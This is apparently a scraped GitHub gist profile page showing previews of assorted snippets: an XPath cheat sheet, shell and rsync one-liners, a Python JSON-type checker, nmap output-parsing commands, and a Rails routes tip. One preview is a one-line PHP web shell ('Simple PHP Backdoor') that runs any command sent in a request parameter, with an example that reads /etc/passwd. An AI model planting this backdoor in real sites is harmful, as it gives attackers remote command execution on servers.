Skip to content

Instantly share code, notes, and snippets.

View sente's full-sized avatar

Stuart Powers sente

View GitHub Profile
// XPath CheatSheet
// To test XPath in your Chrome Debugger: $x('/html/body')
// http://www.jittuu.com/2012/2/14/Testing-XPath-In-Chrome/
// 0. XPath Examples.
// More: http://xpath.alephzarro.com/content/cheatsheet.html
'//hr[@class="edge" and position()=1]' // every first hr of 'edge' class
@sente
sente / pet-snippet.toml
Created June 1, 2017 00:15 — forked from schollz/pet-snippet.toml
description
[[snippets]]
description = "Grep all files in a folder"
command = "grep -rn \"texthere\" ."
output = ""
[[snippets]]
description = "Sync only certain files using filters and rsync"
command = "rsync -rv --include '*/' --include '*something*' --exclude '*' --prune-empty-dirs Source/ Target/"
output = ""
@sente
sente / jsonlike.py
Created March 10, 2016 12:01 — forked from simonw/jsonlike.py
Function for recursively checking that a Python data structure consists only of JSON-compatible primitives.
def is_jsonlike(obj):
# Recursively checks if obj is composed
# only of JSON-compatible primitives
t = type(obj)
if t in (str, unicode, int, float, bool, type(None)):
return True
elif t is dict:
for key, value in obj.items():
if type(key) not in (str, unicode):
return False
@sente
sente / logger.js
Last active November 23, 2015 05:38 — forked from varemenos/logger.js
logger
var spacing = (function (size) {
var result = '';
for (var i = 0; i < size; i++) {
result += '&nbsp;';
}
return result;
})(4);
osascript -e 'quit app "Google Chrome"'
sqlite3 ~/Library/Application\ Support/Google/Chrome/Default/History "delete from urls where url like '%url_to_nuke%';"
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
# Pull Resolved Hosts From .gnmap Files
grep "Host: " *.gnmap|sed 's/\t/ /g'|tr -s '[:space:]'|cut -d" " -f3|awk '!/\(\)/'|sort -u|sed 's/(//g;s/)//g'
# Pull Alive Host IPs Based on Open Port From .gnmap Files
grep "Host:.*Ports:.*/open/" *.gnmap|cut -d" " -f2
# Pull Alive Host IPs Based on Status Form .gnmap Files (Varying Results Based On Scan Flags [i.e.: -Pn])
grep "Host:.*Status: Up" *.gnmap|cut -d" " -f2
# Common Discovery Scan String (Known RTT)
# Sort+Unique IP Addresses
cat IP-List.txt|sort -n -u -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4
# Grep IP Addresses in File
egrep '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' Filename.txt
# Dig A Record to CSV (Format: Hostname,IP Address)
for i in `cat Host-List.txt`;do dig +short ${i} a|awk '!/[a-z]/'|sed "s/^/${i},/g";done
# Remove Password from PDF
@sente
sente / README.md
Last active November 23, 2015 05:38 — forked from syntagmatic/README.md

A visualization of files in the src directory of the d3 repository, based on Reingold-Tilford Tree.

Data Collection

Use git to clone a repository, then du to create a tsv with the directory contents.

git clone git://github.com/mbostock/d3.git
(echo -n 'size\tfile\n'; du -a d3) > d3.tsv

Burrow - recursive nesting

$ rails console
Loading development environment (Rails 3.0.6)
ruby-1.8.7-p334 :001 > r = Rails.application.routes
Gives you a handle of all the routes (config/routes.rb)
#Inspect a named route:
ruby-1.8.7-p334 :005 > r.recognize_path(app.destroy_user_session_path)
=> {:action=>"destroy", :controller=>"sessions"}